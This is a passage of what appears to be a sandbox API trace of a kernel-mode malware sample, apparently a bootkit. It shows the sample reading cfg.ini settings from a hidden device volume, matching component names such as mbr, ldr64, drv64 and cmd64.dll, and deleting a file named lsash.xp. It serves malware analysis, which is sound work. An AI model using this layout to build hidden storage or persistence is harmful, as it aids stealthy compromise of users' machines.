FileObject=0xfffffa8003be4340, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0122.660] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.660] KeLeaveCriticalRegion () [0122.660] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.660] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.660] KeEnterCriticalRegion () [0122.660] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.660] ExFreePoolWithTag (P=0xfffffa8003be5d50, Tag=0x0) [0122.660] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.660] KeLeaveCriticalRegion () [0122.660] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.660] ReleaseMutex (hMutex=0xf0) returned 1 [0122.660] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0122.660] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0122.660] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.660] KeEnterCriticalRegion () [0122.660] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.660] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.660] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0122.660] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0122.660] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0122.660] IdePortDispatch () returned 0x103 [0122.661] KeWaitForMutexObject () returned 0x0 [0122.661] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.661] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0122.661] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0122.661] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0122.661] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0122.661] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003be6560 [0122.661] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.661] KeLeaveCriticalRegion () [0122.661] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.661] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.661] KeEnterCriticalRegion () [0122.661] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.661] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0122.661] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.661] KeLeaveCriticalRegion () [0122.661] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.661] KeEnterCriticalRegion () [0122.661] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.661] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.661] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0122.661] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0122.661] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0122.661] IdePortDispatch () returned 0x103 [0122.661] KeWaitForMutexObject () returned 0x0 [0122.661] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.661] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.661] KeLeaveCriticalRegion () [0122.661] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.662] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.662] KeEnterCriticalRegion () [0122.662] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.662] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002d00000 [0122.662] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.662] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.662] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.662] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0122.662] IdePortDispatch () returned 0x103 [0122.662] KeWaitForMutexObject () returned 0x0 [0122.662] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.662] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.662] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.662] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.662] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0122.662] IdePortDispatch () returned 0x103 [0122.662] KeWaitForMutexObject () returned 0x0 [0122.662] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.662] KeLeaveCriticalRegion () [0122.662] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.663] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.663] KeEnterCriticalRegion () [0122.663] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.663] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0122.663] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.663] KeLeaveCriticalRegion () [0122.663] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.663] KeEnterCriticalRegion () [0122.663] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.663] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0122.663] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003be6070, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0122.663] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.663] KeLeaveCriticalRegion () [0122.663] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.663] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.663] KeEnterCriticalRegion () [0122.663] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.663] ExFreePoolWithTag (P=0xfffffa8003be6560, Tag=0x0) [0122.663] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.663] KeLeaveCriticalRegion () [0122.663] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.663] ReleaseMutex (hMutex=0xf0) returned 1 [0122.663] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0122.663] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0122.663] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.663] KeEnterCriticalRegion () [0122.664] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.664] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.664] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0122.664] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0122.664] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0122.664] IdePortDispatch () returned 0x103 [0122.664] KeWaitForMutexObject () returned 0x0 [0122.664] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.664] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0122.664] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0122.664] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0122.664] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0122.664] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003be5e50 [0122.664] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.664] KeLeaveCriticalRegion () [0122.664] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.664] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.664] KeEnterCriticalRegion () [0122.664] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.664] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0122.664] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.664] KeLeaveCriticalRegion () [0122.664] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.664] KeEnterCriticalRegion () [0122.664] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.664] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.664] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0122.664] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0122.664] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0122.664] IdePortDispatch () returned 0x103 [0122.664] KeWaitForMutexObject () returned 0x0 [0122.665] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.665] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.665] KeLeaveCriticalRegion () [0122.665] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.665] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.665] KeEnterCriticalRegion () [0122.665] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.665] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002d01000 [0122.665] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.665] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.665] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.665] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0122.665] IdePortDispatch () returned 0x103 [0122.665] KeWaitForMutexObject () returned 0x0 [0122.665] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.665] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.665] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.665] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.665] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0122.665] IdePortDispatch () returned 0x103 [0122.665] KeWaitForMutexObject () returned 0x0 [0122.665] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.665] KeLeaveCriticalRegion () [0122.665] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.666] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.666] KeEnterCriticalRegion () [0122.666] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.666] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0122.666] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.666] KeLeaveCriticalRegion () [0122.666] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.666] KeEnterCriticalRegion () [0122.666] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.666] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0122.666] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003be59f0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0122.666] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.666] KeLeaveCriticalRegion () [0122.666] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.666] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.666] KeEnterCriticalRegion () [0122.666] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.666] ExFreePoolWithTag (P=0xfffffa8003be5e50, Tag=0x0) [0122.666] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.666] KeLeaveCriticalRegion () [0122.666] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.666] ReleaseMutex (hMutex=0xf0) returned 1 [0122.666] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0122.666] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0122.666] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0122.666] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0122.666] KeEnterCriticalRegion () [0122.666] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.666] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.666] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0122.666] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0122.666] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0122.666] IdePortDispatch () returned 0x103 [0122.667] KeWaitForMutexObject () returned 0x0 [0122.667] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0122.667] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0122.667] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0122.667] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0122.667] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0122.667] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0122.667] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0122.667] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0122.667] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0122.667] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0122.667] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0122.667] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0122.667] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0122.667] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0122.667] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0122.667] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.667] KeLeaveCriticalRegion () [0122.667] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.667] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0122.667] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0122.667] KeEnterCriticalRegion () [0122.667] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.667] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.667] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0122.667] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0122.667] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0122.667] IdePortDispatch () returned 0x103 [0122.667] KeWaitForMutexObject () returned 0x0 [0122.668] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0122.668] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0122.668] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0122.668] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0122.668] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0122.668] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0122.668] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0122.668] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0122.668] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0122.668] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0122.668] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0122.668] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0122.668] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0122.668] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0122.668] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0122.668] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.668] KeLeaveCriticalRegion () [0122.668] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.668] ReleaseMutex (hMutex=0x100) returned 1 [0122.668] Sleep (dwMilliseconds=0x2bf20) [0122.675] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x6c5154d0, dwHighDateTime=0x1d24fa4)) [0122.675] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0122.675] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0122.675] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0122.675] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.675] KeEnterCriticalRegion () [0122.675] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.675] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.675] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0122.675] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0122.675] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0122.675] IdePortDispatch () returned 0x103 [0122.675] KeWaitForMutexObject () returned 0x0 [0122.675] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.675] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0122.675] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0122.675] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0122.675] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0122.675] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003be6300 [0122.675] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.675] KeLeaveCriticalRegion () [0122.675] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.675] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.675] KeEnterCriticalRegion () [0122.675] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.675] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0122.676] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.676] KeLeaveCriticalRegion () [0122.676] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.676] KeEnterCriticalRegion () [0122.676] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.676] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.676] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0122.676] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0122.676] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0122.676] IdePortDispatch () returned 0x103 [0122.676] KeWaitForMutexObject () returned 0x0 [0122.676] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.676] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.676] KeLeaveCriticalRegion () [0122.676] IofCompleteRequest 